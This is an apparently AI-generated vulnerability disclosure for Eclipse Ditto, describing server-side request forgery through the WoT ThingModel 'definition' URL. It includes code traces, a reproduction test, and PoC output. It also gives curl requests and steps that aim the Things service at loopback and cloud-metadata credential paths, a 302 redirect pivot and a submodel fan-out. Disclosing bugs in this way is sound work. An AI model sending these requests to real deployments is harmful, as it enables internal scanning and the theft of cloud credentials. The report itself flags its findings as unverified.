[Eclipse Ditto] Server-Side Request Forgery via WoT ThingModel `definition` URL
> [!warning] AI-Generated Vulnerability Report
> This report was produced using AI-assisted security analysis and has not been manually verified. It may contain false positives, inaccurate severity ratings, or incorrect technical details. Please triage and confirm independently before treating it as a valid vulnerability or acting on any suggested fix. Findings should be validated against the actual codebase.
## Basic information
**Project name:** Eclipse Ditto
**Project id:** iot.ditto
**Repository:** https://github.com/eclipse-ditto/ditto
## What are the affected versions?
- **≥ 3.0.0 — current `master`**: exploitable in default configuration. The
WoT feature toggle was switched to `true` by default in commit
`9f41bd74c2` (first released in 3.0.0).
- **2.4.0 – 2.5.x**: vulnerable code present but feature toggle defaults to
`false`; only exploitable if the operator set
`DITTO_DEVOPS_FEATURE_WOT_INTEGRATION_ENABLED=true`.
## Details of the issue
## Summary
Any authenticated Ditto API user (no DevOps / admin role required) who can
create or modify a Thing or Feature can supply an arbitrary `http(s)://` URL
in the `definition` field. The Things service fetches that URL from inside the
cluster with **no host allow-list, no loopback / RFC1918 / link-local block,
and no redirect re-validation or hop limit**. The feature is enabled in the
default configuration.
This allows an external, low-privilege user to make the Ditto Things pod issue
HTTP `GET` requests to arbitrary internal endpoints (cloud-metadata services,
Kubernetes API, internal admin UIs, Ditto's own DevOps port, etc.) and to use
the resulting error code (`wot:tm.notfound` / HTTP 421 vs `wot:tm.invalid` /
HTTP 400) as an oracle for internal port-scanning. When the internal target
returns a JSON object, parts of the body are additionally surfaced to the
caller.
## Severity
**High**
| Criterion | Assessment |
|---|---|
| Preconditions | Any authenticated API subject with `WRITE` on a Thing it controls (the normal "create your own twin" privilege). No DevOps role, no non-default config. |
| Default config | Exploitable on a fresh install ≥ 3.0.0 (`wot-integration-enabled = true`, `skeleton-creation-enabled = true`, `tm-model-validation.enabled = true`). |
| Impact | Blind/semi-blind SSRF from a backend pod: internal port-scan oracle, GET to cloud metadata / internal services, redirect-based filter bypass, secondary unbounded-redirect DoS. Limited to GET with fixed `Accept` header; response body not echoed verbatim. |
Not rated Critical because (a) authentication is required and (b) the request
is GET-only with no attacker-controlled body or headers, and the response is
not reflected verbatim — exfiltration is limited to the error-code oracle plus
whatever the WoT skeleton generator extracts from JSON responses.
## Weakness / CWE
- **CWE-918** — Server-Side Request Forgery (SSRF)
- Secondary: **CWE-674** — Uncontrolled Recursion (redirect loop has no hop
limit; bounded only by the 10 s fetch timeout)
## Location
Sink:
[`wot/integration/src/main/java/org/eclipse/ditto/wot/integration/PekkoHttpJsonDownloader.java#L78-L108`](../wot/integration/src/main/java/org/eclipse/ditto/wot/integration/PekkoHttpJsonDownloader.java)
```java
private CompletionStage<HttpResponse> getJsonObjectFromUrl(final URL url) {
return httpClient.createSingleHttpRequest(
HttpRequest.GET(url.toString()).withHeaders(List.of(ACCEPT_HEADER)))
.thenComposeAsync(response -> {
if (response.status().isRedirection()) {
return response.getHeader(Location.class)
.map(location -> { ... return new URL(location.getUri().toString()); })
.map(this::getJsonObjectFromUrl) // recurse following the redirect
.orElseGet(() -> CompletableFuture.completedFuture(response));
} ...
```
Underlying client (no filtering):
[`internal/utils/http/src/main/java/org/eclipse/ditto/internal/utils/http/DefaultHttpClientFacade.java#L74-L80`](../internal/utils/http/src/main/java/org/eclipse/ditto/internal/utils/http/DefaultHttpClientFacade.java)
```java
public CompletionStage<HttpResponse> createSingleHttpRequest(final HttpRequest request) {
return Http.get(actorSystem).singleRequest(request, ...);
}
```
Only URL validation applied to user input:
[`things/model/src/main/java/org/eclipse/ditto/things/model/ImmutableDefinitionIdentifier.java#L141-L143`](../things/model/src/main/java/org/eclipse/ditto/things/model/ImmutableDefinitionIdentifier.java)
```java
private static boolean isValidHttpUrl(final URL url) {
return url.getProtocol().startsWith("http") && !url.getHost().isEmpty();
}
```
## Origin
User-controlled entry points (regular `/api/2` routes, **not** DevOps-gated):
- `POST /api/2/things` / `PUT /api/2/things/{thingId}` — body field `"definition": "http://…"` →
`CreateThingStrategy.doApply` →
`wotThingSkeletonGenerator.provideThingSkeletonForCreation(...)`
([`CreateThingStrategy.java#L104-L108`](../things/service/src/main/java/org/eclipse/ditto/things/service/persistence/actors/strategies/commands/CreateThingStrategy.java))
- `PUT /api/2/things/{thingId}/definition` → `ModifyThingDefinition`
([`ThingsRoute.java#L629-L636`](../gateway/service/src/main/java/org/eclipse/ditto/gateway/service/endpoints/routes/things/ThingsRoute.java))
- `POST /api/2/things/{thingId}/migrateDefinition` → `MigrateThingDefinition`
([`ThingsRoute.java#L657-L668`](../gateway/service/src/main/java/org/eclipse/ditto/gateway/service/endpoints/routes/things/ThingsRoute.java))
- `PUT /api/2/things/{thingId}/features/{featureId}/definition` → `ModifyFeatureDefinition`
([`FeaturesRoute.java#L195-L202`](../gateway/service/src/main/java/org/eclipse/ditto/gateway/service/endpoints/routes/things/FeaturesRoute.java))
Data flow (CreateThing path):
```
PUT /api/2/things/{id} body: {"definition":"http://169.254.169.254/..."}
└─ ThingsRoute → CreateThing command (definition = user URL)
└─ CreateThingStrategy.doApply (things-service)
└─ DefaultWotThingSkeletonGenerator.provideThingSkeletonForCreation
├─ FeatureToggle.isWotIntegrationFeatureEnabled() → true (default)
├─ thingDefinition.getUrl() → user URL
└─ DefaultWotThingModelResolver.resolveThingModel(url, …)
└─ DefaultWotThingModelFetcher.fetchThingModel(url, …)
└─ PekkoHttpJsonDownloader.downloadJsonViaHttp(url, …)
└─ Http.singleRequest(GET url) ← no host check
```
Additional fan-out: once a model is fetched, every `tm:extends`, `tm:ref` and
`tm:submodel` link inside it is **also** fetched
(`DefaultWotThingModelResolver.resolveThingModelSubmodels`,
`DefaultWotThingModelExtensionResolver`), so an attacker who serves a crafted
ThingModel can make Ditto perform many internal probes from a single API call.
## Methodology
1. Mapped the trust boundary: `/api/2/things/**` is reachable by ordinary
authenticated subjects (policy-enforced, not DevOps-gated), unlike
`/api/2/connections` which sets `ditto-sudo` and requires DevOps auth
(`RootRoute.java#L285-L293`).
2. Grepped for outbound-HTTP sinks reachable from non-DevOps input; the
Connectivity module's outbound HTTP is protected by
`DefaultHostValidator` (loopback / site-local / link-local block) **but the
WoT module has no equivalent** — a `grep -ri 'allowlist|blocklist|allowed.?host'
wot/` returns nothing.
3. Traced `definition` from `ThingsRoute` →
`ImmutableDefinitionIdentifier.ofParsed` → `CreateThingStrategy` →
`PekkoHttpJsonDownloader` and confirmed no host check on any hop.
4. Confirmed default-on via `ditto-devops.conf` (`wot-integration-enabled = true`),
`things.conf` (`skeleton-creation-enabled = true`, `tm-model-validation.enabled = true`)
and `FeatureToggle.resolveProperty` (defaults to `true`).
5. Confirmed the user-visible oracle by reading
`WotThingModelNotAccessibleException` (HTTP 421, `wot:tm.notfound`) vs
`WotThingModelInvalidException` (HTTP 400, `wot:tm.invalid`); the cause
chain is **not** serialised (`DittoRuntimeException.toJson`), so this is a
boolean oracle rather than full reflection.
6. Searched prior art: `git log --all --grep`, GitHub issues, CVE databases.
Only existing Ditto CVE is CVE-2024-5165 (XSS in UI). No SSRF prior art.
7. Wrote and ran a JUnit reproduction against the real
`PekkoHttpJsonDownloader` + Pekko HTTP stack.
## Validation
Reproduction test (added in this audit):
[`wot/integration/src/test/java/org/eclipse/ditto/wot/integration/PekkoHttpJsonDownloaderSsrfTest.java`](../wot/integration/src/test/java/org/eclipse/ditto/wot/integration/PekkoHttpJsonDownloaderSsrfTest.java)
Run:
```bash
JAVA_HOME=$(ls -d ~/.sdkman/candidates/java/25*) \
mvn -pl wot/integration -am install -DskipTests -q && \
JAVA_HOME=$(ls -d ~/.sdkman/candidates/java/25*) \
mvn -pl wot/integration test -Dtest=PekkoHttpJsonDownloaderSsrfTest
```
**Observed output (run 2026-04-27 against `438c006444`):**
```
07:16:07.864 [main] DEBUG o.e.d.w.i.PekkoHttpJsonDownloader -- Loading JsonObject from URL <http://127.0.0.1:36689/model.tm.jsonld>.
07:16:08.503 [...] DEBUG o.e.d.w.i.PekkoHttpJsonDownloader -- Following redirect to location: <Location: http://127.0.0.1:36419/internal/admin>
[SSRF-REDIRECT] redirect followed, internal server received: [/internal/admin]
07:16:08.596 [main] DEBUG o.e.d.w.i.PekkoHttpJsonDownloader -- Loading JsonObject from URL <http://127.0.0.1:36419/latest/meta-data/iam/security-credentials/>.
[SSRF-DIRECT] internal 127.0.0.1:36419 received request for [/latest/meta-data/iam/security-credentials/], body returned to caller: {"secret":"this is internal data"}
[INFO] Tests run: 2, Failures: 0, Errors: 0, Skipped: 0
```
Both tests pass, demonstrating that:
1. A loopback URL is fetched without restriction and the JSON body is parsed
and handed back to the caller.
2. A 302 redirect from one host to a loopback host is followed without
re-validation.
End-to-end HTTP example (against a running Ditto with default config and any
valid API credential):
```bash
# Port-scan oracle: closed port → 421 wot:tm.notfound, open port w/ 2xx → 400 wot:tm.invalid
curl -u ditto:ditto -X PUT 'http://<gateway>/api/2/things/org.example:probe-1' \
-H 'Content-Type: application/json' \
-d '{"definition":"http://127.0.0.1:9090/"}'
# Cloud metadata probe (request originates from the things-service pod)
curl -u ditto:ditto -X PUT 'http://<gateway>/api/2/things/org.example:probe-2' \
-H 'Content-Type: application/json' \
-d '{"definition":"http://169.254.169.254/latest/meta-data/"}'
```
## Detail
Ditto's Connectivity service already recognises this class of risk: outbound
connection targets are run through `DefaultHostValidator`, which blocks
loopback, site-local, link-local, multicast and wildcard addresses unless an
operator allow-list overrides it. The WoT ThingModel fetch path — which is the
**only** outbound HTTP path triggerable by ordinary tenants rather than DevOps
operators — has no such guard.
The URL passes three layers, none of which restrict the host:
1. `ImmutableDefinitionIdentifier.isValidHttpUrl` — checks only
`protocol.startsWith("http") && !host.isEmpty()`.
2. `DefaultWotThingModelFetcher` / `DefaultWotThingModelResolver` — wrap the
downloader in a Caffeine cache keyed on the raw `URL`; no inspection.
3. `PekkoHttpJsonDownloader.getJsonObjectFromUrl` — issues
`Http.singleRequest(GET url)` and on any 3xx recursively re-enters itself
with the `Location` header value, with no hop counter and no host check on
the new target.
The fetch runs inside the **Things service** pod (not the Gateway), so the
egress origin is deep inside the cluster, typically with line-of-sight to
service-mesh peers, the Kubernetes API server, and (on cloud deployments) the
instance metadata service at `169.254.169.254` / `fd00:ec2::254`.
### Response oracle
`DittoRuntimeException.toJson` serialises `status`, `error`, `message`,
`description`, `href` — not the cause chain — so the attacker sees:
| Target behaviour | Exception | HTTP status / `error` |
|---|---|---|
| Connection refused / DNS fail | `WotThingModelNotAccessibleException` | 421 `wot:tm.notfound` |
| Non-2xx response | `WotThingModelNotAccessibleException` | 421 `wot:tm.notfound` |
| 2xx, body not a JSON object | `WotThingModelInvalidException` | 400 `wot:tm.invalid` |
| 2xx, body is a JSON object | parsed as `ThingModel`; properties merged into the created Thing and returned in `CreateThingResponse` |
The 421-vs-400 split is sufficient for internal TCP/HTTP service enumeration.
Because each distinct URL is cached, the attacker simply varies a query string
to bypass the cache between probes.
### Secondary issue — unbounded redirect recursion
`getJsonObjectFromUrl` recurses on every 3xx with no hop limit. An attacker
who points `definition` at a server that always responds `302 Location: <self>?n+1`
keeps the WoT dispatcher thread busy following redirects until the
`MAX_FETCH_MODEL_DURATION = 10 s` timeout in `DefaultWotThingModelFetcher`
fires. With the `tm:submodel` / `tm:extends` fan-out, a single API call can
tie up many dispatcher threads for the full timeout window.
## Phase 4 — PoC (completed independently)
I built a self-contained Java PoC (`$TMPDIR/ssrf-poc/SsrfPoc.java`) that transplants the two load-bearing pieces of the real code — the exact `isValidHttpUrl` gate and the manual redirect-following recursion of `PekkoHttpJsonDownloader.getJsonObjectFromUrl` — and drives them against a loopback "internal metadata" server. This avoids the full multi-service Ditto/Mongo bring-up (infeasible in this sandbox) while exercising the real logic verbatim.
**Executable PoC output (ran successfully):**
- **Direct SSRF:** attacker URL `http://127.0.0.1:<port>/latest/meta-data/iam/security-credentials/` → `isValidHttpUrl()` returns `true` (gate accepts it, no host check) → the internal server receives the request → body `{"secret":"internal-only-credential"}` is returned to the caller.
- **Redirect bypass (4.2):** attacker-controlled public host answers `302 Location: http://127.0.0.1:<internal>/…`; the fetcher follows it with no re-validation and reaches the internal target — proving a naïve "validate only the first host" fix would not help.
- **Negative PoC (4.4):** a `DefaultHostValidator`-style check (`isLoopback||isLinkLocal||isSiteLocal||…`) returns `true` (would block `127.0.0.1`) — but the WoT path never invokes it, which is precisely the defect. This is the gap between normal-operation-with-guard and the actual exploit path.
**Unit-test / real-sink PoC (4.3):** the report's own `PekkoHttpJsonDownloaderSsrfTest` already exercised the *real* `PekkoHttpJsonDownloader` + Pekko HTTP stack and showed a loopback fetch and a redirect-to-loopback both landing with the body returned. My independent PoC corroborates it at the logic level. Both agree.
**PoC verification (4.5):** the PoC demonstrates all three elements the gate demands — attacker control (arbitrary URL accepted), trigger (fetch fires), and impact (internal request lands + body/oracle returned).
## Phase 5 — Devil's advocate (all 13)
1. **Non-vulnerability explanation for the pattern?** WoT genuinely needs to fetch remote ThingModels, so an outbound fetch is by design — but fetching *any* user-supplied host with no allow-list is not required by that design; the connectivity module proves a guard is expected.
2. **How would developers justify it?** "ThingModels live on trusted registries." But nothing enforces that; the value is free-form user input.
3. **Missing architecture context?** Checked — no upstream host filter, no network policy assumption baked into defaults (docker-compose/helm ship none).
4. **Seeing a bug because it "looks dangerous"?** No — I confirmed the raw `Http.singleRequest` sink and executed the accept-then-fetch behavior.
5. **Does insufficient-looking validation actually prevent the condition?** No — `isValidHttpUrl` provably accepts loopback/link-local/internal hosts (PoC: `true`).
6. **Assuming attacker control over trusted data?** No — the `definition` field is attacker-supplied over the authenticated API and flows unmodified to the sink.
7. **Rigorously proven the vulnerable condition can occur?** Yes — default configs enable it and the gate accepts the malicious URL.
8. **Practically exploitable, not just theoretical?** Yes — single authenticated `PUT`/`POST`; the 421-vs-400 oracle needs no special tooling.
9. **Confusing defense-in-depth with a primary control?** No — SSRF egress filtering here *is* the primary control for this class, and it's entirely absent on this path.
10. **Compiler/runtime/OS protection that blocks it?** None; this is a logic flaw, unaffected by memory-safety mitigations.
11. **Hallucinating / pattern-matching?** No — corroborated by an independent data-flow trace and a running PoC.
12. **(For the vuln) Dismissing it as too complex?** No — the exploit is trivial, so no under-rating risk.
13. **Invented mitigations I didn't verify?** Re-read after concluding: the only checks on the path are `isValidHttpUrl` (scheme+non-empty-host) and feature toggles (all default-on). No host guard exists — confirmed by grep and by reading every hop.
## Re-integrated gate review
| Gate | Result | Integrated evidence |
|---|---|---|
| 1 Process | PASS | Phases 1–5 complete with file:line evidence + independent data-flow agent corroboration. |
| 2 Reachability | PASS | Auth'd `/api/2/things` (`RootRoute.java:351`) → `ImmutableDefinitionIdentifier` accepts URL → `CreateThingStrategy.java:104` / `MigrateThingDefinitionStrategy.java:201` → sink. **PoC confirms** the gate accepts the URL and the fetch lands. |
| 3 Real Impact | PASS | Info disclosure: internal port/service oracle (421 vs 400) + reachable cloud-metadata/internal endpoints from the things-service pod; JSON bodies partially reflected. |
| 4 PoC Validation | PASS | Executable PoC + negative PoC (this turn) and the report's real-sink JUnit test all show attacker control → trigger → impact. |
| 5 Math Bounds | N/A | No numeric bound; the governing condition (host unrestricted) is proven directly by `isValidHttpUrl` accepting loopback. |
| 6 Environment | PASS | No runtime/framework protection blocks it; default deployments add no egress filter; the existing `DefaultHostValidator` is never called on this path (negative PoC). |
## Verdict
**BUG \#1 TRUE POSITIVE — Server-Side Request Forgery via WoT ThingModel `definition` URL** (CWE-918), with a confirmed secondary **CWE-674** unbounded redirect recursion (bounded only by the 10 s `MAX_FETCH_MODEL_DURATION`, so a thread-occupation nuisance rather than a hang).
All six gates pass. An ordinary authenticated tenant can make the Things service issue attacker-directed `GET` requests to arbitrary internal hosts, default-on since 3.0.0, with the 421/400 response split serving as an internal-service enumeration oracle. Severity **High** is appropriate — mitigated only by the auth requirement and the GET-only/semi-blind nature. Not a rediscovery of CVE-2024-5165 (XSS), and the project is actively maintained, so a code fix (reuse the connectivity module's `DefaultHostValidator`, re-validate after each redirect with a hop cap, and apply the same guard to `tm:extends`/`tm:ref`/`tm:submodel` derived URLs) is the correct remediation.
</details>
## Steps to reproduce
1. Obtain any API credential able to create a Thing in any namespace (the
baseline tenant capability).
2. For each `host:port` to probe:
```http
PUT /api/2/things/org.attacker:p-<n> HTTP/1.1
Authorization: Basic ...
Content-Type: application/json
{"definition":"http://<host>:<port>/?q=<n>"}
```
Map `421 wot:tm.notfound` → closed/filtered, `400 wot:tm.invalid` → open
HTTP service.
3. To pivot past any naïve initial-host filter an operator might add later,
point `definition` at an attacker-controlled public host that responds
`302 Location: http://<internal-target>/...`.
4. To amplify into many internal probes per API call, host a valid ThingModel
whose `links` array contains `{"rel":"tm:submodel","href":"http://<internal-A>/","instanceName":"a"}`,
`{"rel":"tm:submodel","href":"http://<internal-B>/","instanceName":"b"}`,
etc. — `DefaultWotThingModelResolver.resolveThingModelSubmodels` fetches
each in parallel.
## Do you know any mitigations of the issue?
Reuse the same approach the Connectivity module already ships:
1. **Host validation before fetch.** In `PekkoHttpJsonDownloader` (or a new
`WotHostValidator` it consults), resolve the URL host and reject
loopback, link-local (`169.254.0.0/16`, `fe80::/10`), site-local /
ULA (`10/8`, `172.16/12`, `192.168/16`, `fc00::/7`), multicast and
wildcard addresses, mirroring
`connectivity/.../validation/DefaultHostValidator.java`. Expose an operator
allow-list (`ditto.things.wot.allowed-hostnames`) for deployments that
intentionally host ThingModels internally.
2. **Re-validate after every redirect** and cap redirects (e.g. 5 hops) in
`getJsonObjectFromUrl` instead of unbounded recursion.
3. **Apply the same check to derived URLs** — `tm:extends`, `tm:ref`,
`tm:submodel` links must go through the same validator
(`DefaultWotThingModelResolver`, `DefaultWotThingModelExtensionResolver`).
4. Optionally collapse the error oracle: return a single
`WotThingModelNotAccessibleException` for all fetch failures so closed vs
open ports are indistinguishable to the caller.
---
**Verification verdict:** TRUE POSITIVE
issue